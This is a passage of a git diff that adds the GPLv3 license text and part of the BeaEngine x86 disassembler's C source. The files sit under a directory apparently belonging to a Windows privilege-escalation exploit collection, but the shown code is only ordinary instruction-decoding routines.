+want it, that you can change the software or use pieces of it in new +free programs, and that you know you can do these things. + + To protect your rights, we need to prevent others from denying you +these rights or asking you to surrender the rights. Therefore, you have +certain responsibilities if you distribute copies of the software, or if +you modify it: responsibilities to respect the freedom of others. + + For example, if you distribute copies of such a program, whether +gratis or for a fee, you must pass on to the recipients the same +freedoms that you received. You must make sure that they, too, receive +or can get the source code. And you must show them these terms so they +know their rights. + + Developers that use the GNU GPL protect your rights with two steps: +(1) assert copyright on the software, and (2) offer you this License +giving you legal permission to copy, distribute and/or modify it. + + For the developers' and authors' protection, the GPL clearly explains +that there is no warranty for this free software. For both users' and +authors' sake, the GPL requires that modified versions be marked as +changed, so that their problems will not be attributed erroneously to +authors of previous versions. + + Some devices are designed to deny users access to install or run +modified versions of the software inside them, although the manufacturer +can do so. This is fundamentally incompatible with the aim of +protecting users' freedom to change the software. The systematic +pattern of such abuse occurs in the area of products for individuals to +use, which is precisely where it is most unacceptable. Therefore, we +have designed this version of the GPL to prohibit the practice for those +products. If such problems arise substantially in other domains, we +stand ready to extend this provision to those domains in future versions +of the GPL, as needed to protect the freedom of users. + + Finally, every program is threatened constantly by software patents. +States should not allow patents to restrict development and use of +software on general-purpose computers, but in those that do, we wish to +avoid the special danger that patents applied to a free program could +make it effectively proprietary. To prevent this, the GPL assures that +patents cannot be used to render the program non-free. + + The precise terms and conditions for copying, distribution and +modification follow. + + TERMS AND CONDITIONS + + 0. Definitions. + + "This License" refers to version 3 of the GNU General Public License. + + "Copyright" also means copyright-like laws that apply to other kinds of +works, such as semiconductor masks. + + "The Program" refers to any copyrightable work licensed under this +License. Each licensee is addressed as "you". "Licensees" and +"recipients" may be individuals or organizations. + + To "modify" a work means to copy from or adapt all or part of the work +in a fashion requiring copyright permission, other than the making of an +exact copy. The resulting work is called a "modified version" of the +earlier work or a work "based on" the earlier work. + + A "covered work" means either the unmodified Program or a work based +on the Program. + + To "propagate" a work means to do anything with it that, without +permission, would make you directly or secondarily liable for +infringement under applicable copyright law, except executing it on a +computer or modifying a private copy. Propagation includes copying, +distribution (with or without modification), making available to the +public, and in some countries other activities as well. + + To "convey" a work means any kind of propagation that enables other +parties to make or receive copies. Mere interaction with a user through +a computer network, with no transfer of a copy, is not conveying. + + An interactive user interface displays "Appropriate Legal Notices" +to the extent that it includes a convenient and prominently visible +feature that (1) displays an appropriate copyright notice, and (2) +tells the user that there is no warranty for the work (except to the +extent that warranties are provided), that licensees may convey the +work under this License, and how to view a copy of this License. If +the interface presents a list of user commands or options, such as a +menu, a prominent item in the list meets this criterion. + + 1. Source Code. + + The "source code" for a work means the preferred form of the work +for making modifications to it. "Object code" means any non-source +form of a work. + + A "Standard Interface" means an interface that either is an official +standard defined by a recognized standards body, or, in the case of +interfaces specified for a particular programming language, one that +is widely used among developers working in that language. + + The "System Libraries" of an executable work include anything, other +than the work as a whole, that (a) is included in the normal form of +packaging a Major Component, but which is not part of that Major +Component, and (b) serves only to enable use of the work with that +Major Component, or to implement a Standard Interface for which an +implementation is available to the public in source code form. A +"Major Component", in this context, means a major essential component +(kernel, window system, and so on) of the specific operating system +(if any) on which the executable work runs, or a compiler used to +produce the work, or an object code interpreter used to run it. + + The "Corresponding Source" for a work in object code form means all +the source code needed to generate, install, and (for an executable +work) run the object code and to modify the work, including scripts to +control those activities. However, it does not include the work's +System Libraries, or general-purpose tools or generally available free +programs which are used unmodified in performing those activities but +which are not part of the work. For example, Corresponding Source +includes interface definition files associated with source files for +the work, and the source code for shared libraries and dynamically +linked subprograms that the work is specifically designed to require, +such as by intimate data communication or control flow between those +subprograms and other parts of the work. + + The Corresponding Source need not include anything that users +can regenerate automatically from other parts of the Corresponding +Source. + + The Corresponding Source for a work in source code form is that +same work. + + 2. Basic Permissions. + + All rights granted under this License are granted for the term of +copyright on the Program, and are irrevocable provided the stated +conditions are met. This License explicitly affirms your unlimited +permission to run the unmodified Program. The output from running a +covered work is covered by this License only if the output, given its +content, constitutes a covered work. This License acknowledges your +rights of fair use or other equivalent, as provided by copyright law. + + You may make, run and propagate covered works that you do not +convey, without conditions so long as your license otherwise remains +in force. You may convey covered works to others for the sole purpose +of having them make modifications exclusively for you, or provide you +with facilities for running those works, provided that you comply with +the terms of this License in conveying all material for which you do +not control copyright. Those thus making or running the covered works +for you must do so exclusively on your behalf, under your direction +and control, on terms that prohibit them from making any copies of +your copyrighted material outside their relationship with you. + + Conveying under any other circumstances is permitted solely under +the conditions stated below. Sublicensing is not allowed; section 10 +makes it unnecessary. + + 3. Protecting Users' Legal Rights From Anti-Circumvention Law. + + No covered work shall be deemed part of an effective technological +measure under any applicable law fulfilling obligations under article +11 of the WIPO copyright treaty adopted on 20 December 1996, or +similar laws prohibiting or restricting circumvention of such +measures. + + When you convey a covered work, you waive any legal power to forbid +circumvention of technological measures to the extent such circumvention +is effected by exercising rights under this License with respect to +the covered work, and you disclaim any intention to limit operation or +modification of the work as a means of enforcing, against the work's +users, your or third parties' legal rights to forbid circumvention of +technological measures. + + 4. Conveying Verbatim Copies. + + You may convey verbatim copies of the Program's source code as you +receive it, in any medium, provided that you conspicuously and +appropriately publish on each copy an appropriate copyright notice; +keep intact all notices stating that this License and any +non-permissive terms added in accord with section 7 apply to the code; +keep intact all notices of the absence of any warranty; and give all +recipients a copy of this License along with the Program. + + You may charge any price or no price for each copy that you convey, +and you may offer support or warranty protection for a fee. + + 5. Conveying Modified Source Versions. + + You may convey a work based on the Program, or the modifications to +produce it from the Program, in the form of source code under the +terms of section 4, provided that you also meet all of these conditions: + + a) The work must carry prominent notices stating that you modified + it, and giving a relevant date. + + b) The work must carry prominent notices stating that it is + released under this License and any conditions added under section + 7. This requirement modifies the requirement in section 4 to + "keep intact all notices". + + c) You must license the entire work, as a whole, under this + License to anyone who comes into possession of a copy. This + License will therefore apply, along with any applicable section 7 + additional terms, to the whole of the work, and all its parts, + regardless of how they are packaged. This License gives no + permission to license the work in any other way, but it does not + invalidate such permission if you have separately received it. + + d) If the work has interactive user interfaces, each must display + Appropriate Legal Notices; however, if the Program has interactive + interfaces that do not display Appropriate Legal Notices, your + work need not make them do so. + + A compilation of a covered work with other separate and independent +works, which are not by their nature extensions of the covered work, +and which are not combined with it such as to form a larger program, +in or on a volume of a storage or distribution medium, is called an +"aggregate" if the compilation and its resulting copyright are not +used to limit the access or legal rights of the compilation's users +beyond what the individual works permit. Inclusion of a covered work +in an aggregate does not cause this License to apply to the other +parts of the aggregate. + + 6. Conveying Non-Source Forms. + + You may convey a covered work in object code form under the terms +of sections 4 and 5, provided that you also convey the +machine-readable Corresponding Source under the terms of this License, +in one of these ways: + + a) Convey the object code in, or embodied in, a physical product + (including a physical distribution medium), accompanied by the + Corresponding Source fixed on a durable physical medium + customarily used for software interchange. + + b) Convey the object code in, or embodied in, a physical product + (including a physical distribution medium), accompanied by a + written offer, valid for at least three years and valid for as + long as you offer spare parts or customer support for that product + model, to give anyone who possesses the object code either (1) a + copy of the Corresponding Source for all the software in the + product that is covered by this License, on a durable physical + medium customarily used for software interchange, for a price no + more than your reasonable cost of physically performing this + conveying of source, or (2) access to copy the + Corresponding Source from a network server at no charge. + + c) Convey individual copies of the object code with a copy of the + written offer to provide the Corresponding Source. This + alternative is allowed only occasionally and noncommercially, and + only if you received the object code with such an offer, in accord + with subsection 6b. + + d) Convey the object code by offering access from a designated + place (gratis or for a charge), and offer equivalent access to the + Corresponding Source in the same way through the same place at no + further charge. You need not require recipients to copy the + Corresponding Source along with the object code. If the place to + copy the object code is a network server, the Corresponding Source + may be on a different server (operated by you or a third party) + that supports equivalent copying facilities, provided you maintain + clear directions next to the object code saying where to find the + Corresponding Source. Regardless of what server hosts the + Corresponding Source, you remain obligated to ensure that it is + available for as long as needed to satisfy these requirements. + + e) Convey the object code using peer-to-peer transmission, provided + you inform other peers where the object code and Corresponding + Source of the work are being offered to the general public at no + charge under subsection 6d. + + A separable portion of the object code, whose source code is excluded +from the Corresponding Source as a System Library, need not be +included in conveying the object code work. + + A "User Product" is either (1) a "consumer product", which means any +tangible personal property which is normally used for personal, family, +or household purposes, or (2) anything designed or sold for incorporation +into a dwelling. In determining whether a product is a consumer product, +doubtful cases shall be resolved in favor of coverage. For a particular +product received by a particular user, "normally used" refers to a +typical or common use of that class of product, regardless of the status +of the particular user or of the way in which the particular user +actually uses, or expects or is expected to use, the product. A product +is a consumer product regardless of whether the product has substantial +commercial, industrial or non-consumer uses, unless such uses represent +the only significant mode of use of the product. + + "Installation Information" for a User Product means any methods, +procedures, authorization keys, or other information required to install +and execute modified versions of a covered work in that User Product from +a modified version of its Corresponding Source. The information must +suffice to ensure that the continued functioning of the modified object +code is in no case prevented or interfered with solely because +modification has been made. + + If you convey an object code work under this section in, or with, or +specifically for use in, a User Product, and the conveying occurs as +part of a transaction in which the right of possession and use of the +User Product is transferred to the recipient in perpetuity or for a +fixed term (regardless of how the transaction is characterized), the +Corresponding Source conveyed under this section must be accompanied +by the Installation Information. But this requirement does not apply +if neither you nor any third party retains the ability to install +modified object code on the User Product (for example, the work has +been installed in ROM). + + The requirement to provide Installation Information does not include a +requirement to continue to provide support service, warranty, or updates +for a work that has been modified or installed by the recipient, or for +the User Product in which it has been modified or installed. Access to a +network may be denied when the modification itself materially and +adversely affects the operation of the network or violates the rules and +protocols for communication across the network. + + Corresponding Source conveyed, and Installation Information provided, +in accord with this section must be in a format that is publicly +documented (and with an implementation available to the public in +source code form), and must require no special password or key for +unpacking, reading or copying. + + 7. Additional Terms. + + "Additional permissions" are terms that supplement the terms of this +License by making exceptions from one or more of its conditions. +Additional permissions that are applicable to the entire Program shall +be treated as though they were included in this License, to the extent +that they are valid under applicable law. If additional permissions +apply only to part of the Program, that part may be used separately +under those permissions, but the entire Program remains governed by +this License without regard to the additional permissions. + + When you convey a copy of a covered work, you may at your option +remove any additional permissions from that copy, or from any part of +it. (Additional permissions may be written to require their own +removal in certain cases when you modify the work.) You may place +additional permissions on material, added by you to a covered work, +for which you have or can give appropriate copyright permission. + + Notwithstanding any other provision of this License, for material you +add to a covered work, you may (if authorized by the copyright holders of +that material) supplement the terms of this License with terms: + + a) Disclaiming warranty or limiting liability differently from the + terms of sections 15 and 16 of this License; or + + b) Requiring preservation of specified reasonable legal notices or + author attributions in that material or in the Appropriate Legal + Notices displayed by works containing it; or + + c) Prohibiting misrepresentation of the origin of that material, or + requiring that modified versions of such material be marked in + reasonable ways as different from the original version; or + + d) Limiting the use for publicity purposes of names of licensors or + authors of the material; or + + e) Declining to grant rights under trademark law for use of some + trade names, trademarks, or service marks; or + + f) Requiring indemnification of licensors and authors of that + material by anyone who conveys the material (or modified versions of + it) with contractual assumptions of liability to the recipient, for + any liability that these contractual assumptions directly impose on + those licensors and authors. + + All other non-permissive additional terms are considered "further +restrictions" within the meaning of section 10. If the Program as you +received it, or any part of it, contains a notice stating that it is +governed by this License along with a term that is a further +restriction, you may remove that term. If a license document contains +a further restriction but permits relicensing or conveying under this +License, you may add to a covered work material governed by the terms +of that license document, provided that the further restriction does +not survive such relicensing or conveying. + + If you add terms to a covered work in accord with this section, you +must place, in the relevant source files, a statement of the +additional terms that apply to those files, or a notice indicating +where to find the applicable terms. + + Additional terms, permissive or non-permissive, may be stated in the +form of a separately written license, or stated as exceptions; +the above requirements apply either way. + + 8. Termination. + + You may not propagate or modify a covered work except as expressly +provided under this License. Any attempt otherwise to propagate or +modify it is void, and will automatically terminate your rights under +this License (including any patent licenses granted under the third +paragraph of section 11). + + However, if you cease all violation of this License, then your +license from a particular copyright holder is reinstated (a) +provisionally, unless and until the copyright holder explicitly and +finally terminates your license, and (b) permanently, if the copyright +holder fails to notify you of the violation by some reasonable means +prior to 60 days after the cessation. + + Moreover, your license from a particular copyright holder is +reinstated permanently if the copyright holder notifies you of the +violation by some reasonable means, this is the first time you have +received notice of violation of this License (for any work) from that +copyright holder, and you cure the violation prior to 30 days after +your receipt of the notice. + + Termination of your rights under this section does not terminate the +licenses of parties who have received copies or rights from you under +this License. If your rights have been terminated and not permanently +reinstated, you do not qualify to receive new licenses for the same +material under section 10. + + 9. Acceptance Not Required for Having Copies. + + You are not required to accept this License in order to receive or +run a copy of the Program. Ancillary propagation of a covered work +occurring solely as a consequence of using peer-to-peer transmission +to receive a copy likewise does not require acceptance. However, +nothing other than this License grants you permission to propagate or +modify any covered work. These actions infringe copyright if you do +not accept this License. Therefore, by modifying or propagating a +covered work, you indicate your acceptance of this License to do so. + + 10. Automatic Licensing of Downstream Recipients. + + Each time you convey a covered work, the recipient automatically +receives a license from the original licensors, to run, modify and +propagate that work, subject to this License. You are not responsible +for enforcing compliance by third parties with this License. + + An "entity transaction" is a transaction transferring control of an +organization, or substantially all assets of one, or subdividing an +organization, or merging organizations. If propagation of a covered +work results from an entity transaction, each party to that +transaction who receives a copy of the work also receives whatever +licenses to the work the party's predecessor in interest had or could +give under the previous paragraph, plus a right to possession of the +Corresponding Source of the work from the predecessor in interest, if +the predecessor has it or can get it with reasonable efforts. + + You may not impose any further restrictions on the exercise of the +rights granted or affirmed under this License. For example, you may +not impose a license fee, royalty, or other charge for exercise of +rights granted under this License, and you may not initiate litigation +(including a cross-claim or counterclaim in a lawsuit) alleging that +any patent claim is infringed by making, using, selling, offering for +sale, or importing the Program or any portion of it. + + 11. Patents. + + A "contributor" is a copyright holder who authorizes use under this +License of the Program or a work on which the Program is based. The +work thus licensed is called the contributor's "contributor version". + + A contributor's "essential patent claims" are all patent claims +owned or controlled by the contributor, whether already acquired or +hereafter acquired, that would be infringed by some manner, permitted +by this License, of making, using, or selling its contributor version, +but do not include claims that would be infringed only as a +consequence of further modification of the contributor version. For +purposes of this definition, "control" includes the right to grant +patent sublicenses in a manner consistent with the requirements of +this License. + + Each contributor grants you a non-exclusive, worldwide, royalty-free +patent license under the contributor's essential patent claims, to +make, use, sell, offer for sale, import and otherwise run, modify and +propagate the contents of its contributor version. + + In the following three paragraphs, a "patent license" is any express +agreement or commitment, however denominated, not to enforce a patent +(such as an express permission to practice a patent or covenant not to +sue for patent infringement). To "grant" such a patent license to a +party means to make such an agreement or commitment not to enforce a +patent against the party. + + If you convey a covered work, knowingly relying on a patent license, +and the Corresponding Source of the work is not available for anyone +to copy, free of charge and under the terms of this License, through a +publicly available network server or other readily accessible means, +then you must either (1) cause the Corresponding Source to be so +available, or (2) arrange to deprive yourself of the benefit of the +patent license for this particular work, or (3) arrange, in a manner +consistent with the requirements of this License, to extend the patent +license to downstream recipients. "Knowingly relying" means you have +actual knowledge that, but for the patent license, your conveying the +covered work in a country, or your recipient's use of the covered work +in a country, would infringe one or more identifiable patents in that +country that you have reason to believe are valid. + + If, pursuant to or in connection with a single transaction or +arrangement, you convey, or propagate by procuring conveyance of, a +covered work, and grant a patent license to some of the parties +receiving the covered work authorizing them to use, propagate, modify +or convey a specific copy of the covered work, then the patent license +you grant is automatically extended to all recipients of the covered +work and works based on it. + + A patent license is "discriminatory" if it does not include within +the scope of its coverage, prohibits the exercise of, or is +conditioned on the non-exercise of one or more of the rights that are +specifically granted under this License. You may not convey a covered +work if you are a party to an arrangement with a third party that is +in the business of distributing software, under which you make payment +to the third party based on the extent of your activity of conveying +the work, and under which the third party grants, to any of the +parties who would receive the covered work from you, a discriminatory +patent license (a) in connection with copies of the covered work +conveyed by you (or copies made from those copies), or (b) primarily +for and in connection with specific products or compilations that +contain the covered work, unless you entered into that arrangement, +or that patent license was granted, prior to 28 March 2007. + + Nothing in this License shall be construed as excluding or limiting +any implied license or other defenses to infringement that may +otherwise be available to you under applicable patent law. + + 12. No Surrender of Others' Freedom. + + If conditions are imposed on you (whether by court order, agreement or +otherwise) that contradict the conditions of this License, they do not +excuse you from the conditions of this License. If you cannot convey a +covered work so as to satisfy simultaneously your obligations under this +License and any other pertinent obligations, then as a consequence you may +not convey it at all. For example, if you agree to terms that obligate you +to collect a royalty for further conveying from those to whom you convey +the Program, the only way you could satisfy both those terms and this +License would be to refrain entirely from conveying the Program. + + 13. Use with the GNU Affero General Public License. + + Notwithstanding any other provision of this License, you have +permission to link or combine any covered work with a work licensed +under version 3 of the GNU Affero General Public License into a single +combined work, and to convey the resulting work. The terms of this +License will continue to apply to the part which is the covered work, +but the special requirements of the GNU Affero General Public License, +section 13, concerning interaction through a network will apply to the +combination as such. + + 14. Revised Versions of this License. + + The Free Software Foundation may publish revised and/or new versions of +the GNU General Public License from time to time. Such new versions will +be similar in spirit to the present version, but may differ in detail to +address new problems or concerns. + + Each version is given a distinguishing version number. If the +Program specifies that a certain numbered version of the GNU General +Public License "or any later version" applies to it, you have the +option of following the terms and conditions either of that numbered +version or of any later version published by the Free Software +Foundation. If the Program does not specify a version number of the +GNU General Public License, you may choose any version ever published +by the Free Software Foundation. + + If the Program specifies that a proxy can decide which future +versions of the GNU General Public License can be used, that proxy's +public statement of acceptance of a version permanently authorizes you +to choose that version for the Program. + + Later license versions may give you additional or different +permissions. However, no additional obligations are imposed on any +author or copyright holder as a result of your choosing to follow a +later version. + + 15. Disclaimer of Warranty. + + THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY +APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT +HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY +OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, +THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR +PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM +IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF +ALL NECESSARY SERVICING, REPAIR OR CORRECTION. + + 16. Limitation of Liability. + + IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING +WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS +THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY +GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE +USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF +DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD +PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), +EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF +SUCH DAMAGES. + + 17. Interpretation of Sections 15 and 16. + + If the disclaimer of warranty and limitation of liability provided +above cannot be given local legal effect according to their terms, +reviewing courts shall apply local law that most closely approximates +an absolute waiver of all civil liability in connection with the +Program, unless a warranty or assumption of liability accompanies a +copy of the Program in return for a fee. + + END OF TERMS AND CONDITIONS + + How to Apply These Terms to Your New Programs + + If you develop a new program, and you want it to be of the greatest +possible use to the public, the best way to achieve this is to make it +free software which everyone can redistribute and change under these terms. + + To do so, attach the following notices to the program. It is safest +to attach them to the start of each source file to most effectively +state the exclusion of warranty; and each file should have at least +the "copyright" line and a pointer to where the full notice is found. + + + Copyright (C) + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . + +Also add information on how to contact you by electronic and paper mail. + + If the program does terminal interaction, make it output a short +notice like this when it starts in an interactive mode: + + Copyright (C) + This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. + This is free software, and you are welcome to redistribute it + under certain conditions; type `show c' for details. + +The hypothetical commands `show w' and `show c' should show the appropriate +parts of the General Public License. Of course, your program's commands +might be different; for a GUI interface, you would use an "about box". + + You should also get your employer (if you work as a programmer) or school, +if any, to sign a "copyright disclaimer" for the program, if necessary. +For more information on this, and how to apply and follow the GNU GPL, see +. + + The GNU General Public License does not permit incorporating your program +into proprietary programs. If your program is a subroutine library, you +may consider it more useful to permit linking proprietary applications with +the library. If this is what you want to do, use the GNU Lesser General +Public License instead of this License. But first, please read +. diff --git a/97-Windows提权/MS12-042/sysret-source/junk/sources/beaengineSources/Includes/BeaEngineVersion.c b/97-Windows提权/MS12-042/sysret-source/junk/sources/beaengineSources/Includes/BeaEngineVersion.c new file mode 100644 index 0000000..dce58ce --- /dev/null +++ b/97-Windows提权/MS12-042/sysret-source/junk/sources/beaengineSources/Includes/BeaEngineVersion.c @@ -0,0 +1,23 @@ +/* Copyright 2006-2010, BeatriX + * File coded by BeatriX + * + * This file is part of BeaEngine. + * + * BeaEngine is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * BeaEngine is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with BeaEngine. If not, see . */ +const__ char* __bea_callspec__ BeaEngineVersion(void) { + return "4.1"; +} +const__ char* __bea_callspec__ BeaEngineRevision(void) { + return "170"; +} diff --git a/97-Windows提权/MS12-042/sysret-source/junk/sources/beaengineSources/Includes/Routines_Disasm.c b/97-Windows提权/MS12-042/sysret-source/junk/sources/beaengineSources/Includes/Routines_Disasm.c new file mode 100644 index 0000000..4aac8cb --- /dev/null +++ b/97-Windows提权/MS12-042/sysret-source/junk/sources/beaengineSources/Includes/Routines_Disasm.c @@ -0,0 +1,1074 @@ +/* Copyright 2006-2009, BeatriX + * File coded by BeatriX + * + * This file is part of BeaEngine. + * + * BeaEngine is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * BeaEngine is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with BeaEngine. If not, see . */ + +/* ==================================================================== + * + * ==================================================================== */ +int __bea_callspec__ Disasm (PDISASM pMyDisasm) { + + if (InitVariables(pMyDisasm)) { + (void) AnalyzeOpcode(pMyDisasm); + if (!GV.OutOfBlock) { + FixArgSizeForMemoryOperand(pMyDisasm); + FixREXPrefixes(pMyDisasm); + FillSegmentsRegisters(pMyDisasm); + CompleteInstructionFields(pMyDisasm); + #ifndef BEA_LIGHT_DISASSEMBLY + if (GV.SYNTAX_ == ATSyntax) { + BuildCompleteInstructionATSyntax(pMyDisasm); + } + else { + BuildCompleteInstruction(pMyDisasm); + } + #endif + if (GV.ERROR_OPCODE) { + return -1; + } + else { + return (int) (GV.EIP_-(*pMyDisasm).EIP); + } + } + else { + return 0; + } + } + else { + return -1; + } +} + +/* ==================================================================== + * + * ==================================================================== */ +void __bea_callspec__ CompleteInstructionFields (PDISASM pMyDisasm) { + + if (((*pMyDisasm).Instruction.BranchType == JmpType) || ((*pMyDisasm).Instruction.BranchType == CallType)) { + (*pMyDisasm).Argument1.AccessMode = READ; + } +} + +/* ==================================================================== + * + * ==================================================================== */ +int __bea_callspec__ InitVariables (PDISASM pMyDisasm) { + + (void) memset (&GV, 0, sizeof (InternalDatas)); + GV.EIP_ = (*pMyDisasm).EIP; + GV.EIP_REAL = GV.EIP_; + GV.EIP_VA = (*pMyDisasm).VirtualAddr; + if ((*pMyDisasm).SecurityBlock != 0) GV.EndOfBlock = GV.EIP_+(*pMyDisasm).SecurityBlock; + GV.OperandSize = 32; + GV.OriginalOperandSize = 32; + GV.AddressSize = 32; + GV.Architecture = (*pMyDisasm).Archi; + (*pMyDisasm).Prefix.Number = 0; + if (GV.Architecture == 64) { + GV.AddressSize = 64; + } + if (GV.Architecture == 16) { + GV.OperandSize = 16; + GV.OriginalOperandSize = 16; + GV.AddressSize = 16; + } + (void) memset (&(*pMyDisasm).Argument1, 0, sizeof (ARGTYPE)); + (void) memset (&(*pMyDisasm).Argument2, 0, sizeof (ARGTYPE)); + (void) memset (&(*pMyDisasm).Argument3, 0, sizeof (ARGTYPE)); + (void) memset (&(*pMyDisasm).Prefix, 0, sizeof (PREFIXINFO)); + (*pMyDisasm).Argument1.AccessMode = WRITE; + (*pMyDisasm).Argument1.ArgPosition = LowPosition; + (*pMyDisasm).Argument2.ArgPosition = LowPosition; + (*pMyDisasm).Argument3.ArgPosition = LowPosition; + (*pMyDisasm).Argument1.ArgType = NO_ARGUMENT; + (*pMyDisasm).Argument2.ArgType = NO_ARGUMENT; + (*pMyDisasm).Argument3.ArgType = NO_ARGUMENT; + (*pMyDisasm).Argument2.AccessMode = READ; + (*pMyDisasm).Argument3.AccessMode = READ; + (void) memset (&(*pMyDisasm).Instruction, 0, sizeof (INSTRTYPE)); + GV.TAB_ = (UInt32)(*pMyDisasm).Options & 0xff; + GV.SYNTAX_ = (UInt32)(*pMyDisasm).Options & 0xff00; + GV.FORMATNUMBER = (UInt32)(*pMyDisasm).Options & 0xff0000; + GV.SEGMENTREGS = (UInt32)(*pMyDisasm).Options & 0xff000000; + GV.OutOfBlock = 0; + return 1; +} +/* ==================================================================== + * + * ==================================================================== */ +void __bea_callspec__ FixArgSizeForMemoryOperand (PDISASM pMyDisasm) { + + if (GV.MemDecoration == Arg2byte) { + (*pMyDisasm).Argument2.ArgSize = 8; + } + else if (GV.MemDecoration == Arg2word) { + (*pMyDisasm).Argument2.ArgSize = 16; + } + else if (GV.MemDecoration == Arg2dword) { + (*pMyDisasm).Argument2.ArgSize = 32; + } + else if (GV.MemDecoration == Arg2qword) { + (*pMyDisasm).Argument2.ArgSize = 64; + } + else if (GV.MemDecoration == Arg2multibytes) { + (*pMyDisasm).Argument2.ArgSize = 0; + } + else if (GV.MemDecoration == Arg2tbyte) { + (*pMyDisasm).Argument2.ArgSize = 80; + } + else if (GV.MemDecoration == Arg2fword) { + (*pMyDisasm).Argument2.ArgSize = 48; + } + else if (GV.MemDecoration == Arg2dqword) { + (*pMyDisasm).Argument2.ArgSize = 128; + } + + + if (GV.MemDecoration == Arg1byte) { + (*pMyDisasm).Argument1.ArgSize = 8; + } + else if (GV.MemDecoration == Arg1word) { + (*pMyDisasm).Argument1.ArgSize = 16; + } + else if (GV.MemDecoration == Arg1dword) { + (*pMyDisasm).Argument1.ArgSize = 32; + } + else if (GV.MemDecoration == Arg1qword) { + (*pMyDisasm).Argument1.ArgSize = 64; + } + else if (GV.MemDecoration == Arg1multibytes) { + (*pMyDisasm).Argument1.ArgSize = 0; + } + else if (GV.MemDecoration == Arg1tbyte) { + (*pMyDisasm).Argument1.ArgSize = 80; + } + else if (GV.MemDecoration == Arg1fword) { + (*pMyDisasm).Argument1.ArgSize = 48; + } + else if (GV.MemDecoration == Arg1dqword) { + (*pMyDisasm).Argument1.ArgSize = 128; + } + +} + +/* ==================================================================== + * + * ==================================================================== */ +void __bea_callspec__ FixREXPrefixes (PDISASM pMyDisasm) { + + (*pMyDisasm).Prefix.REX.W_ = GV.REX.W_; + (*pMyDisasm).Prefix.REX.R_ = GV.REX.R_; + (*pMyDisasm).Prefix.REX.X_ = GV.REX.X_; + (*pMyDisasm).Prefix.REX.B_ = GV.REX.B_; + (*pMyDisasm).Prefix.REX.state = GV.REX.state; + +} + +/* ==================================================================== + * + * ==================================================================== */ +int __bea_callspec__ AnalyzeOpcode (PDISASM pMyDisasm) { + + (*pMyDisasm).Instruction.Opcode = *((UInt8*) (UIntPtr)(GV.EIP_)); + (void) opcode_map1[*((UInt8*) (UIntPtr)GV.EIP_)](pMyDisasm); + return 1; +} +/* ==================================================================== + * + * ==================================================================== */ +void __bea_callspec__ EbGb(PDISASM pMyDisasm) +{ + GV.MemDecoration = Arg1byte; + GV.OperandSize = 8; + MOD_RM(&(*pMyDisasm).Argument1, pMyDisasm); + Reg_Opcode(&(*pMyDisasm).Argument2, pMyDisasm); + GV.OperandSize = 32; + GV.EIP_ += GV.DECALAGE_EIP+2; +} + +/* ==================================================================== + * + * ==================================================================== */ +void __bea_callspec__ GbEb(PDISASM pMyDisasm) +{ + GV.MemDecoration = Arg2byte; + GV.OperandSize = 8; + MOD_RM(&(*pMyDisasm).Argument2, pMyDisasm); + Reg_Opcode(&(*pMyDisasm).Argument1, pMyDisasm); + GV.OperandSize = 32; + GV.EIP_ += GV.DECALAGE_EIP+2; +} +/* ==================================================================== + * + * ==================================================================== */ +void __bea_callspec__ EvGv(PDISASM pMyDisasm) +{ + if (GV.OperandSize == 64) { + GV.MemDecoration = Arg1qword; + } + else if (GV.OperandSize == 32) { + GV.MemDecoration = Arg1dword; + } + else { + GV.MemDecoration = Arg1word; + } + MOD_RM(&(*pMyDisasm).Argument1, pMyDisasm); + Reg_Opcode(&(*pMyDisasm).Argument2, pMyDisasm); + GV.EIP_ += GV.DECALAGE_EIP+2; +} + +/* ==================================================================== + * + * ==================================================================== */ +void __bea_callspec__ ExGx(PDISASM pMyDisasm) +{ + MOD_RM(&(*pMyDisasm).Argument1, pMyDisasm); + Reg_Opcode(&(*pMyDisasm).Argument2, pMyDisasm); + GV.EIP_ += GV.DECALAGE_EIP+2; +} + +/* ==================================================================== + * + * ==================================================================== */ +void __bea_callspec__ EvIv(PDISASM pMyDisasm) +{ + if (GV.OperandSize >= 32) { + if (GV.OperandSize == 64) { + GV.MemDecoration = Arg1qword; + } + else { + 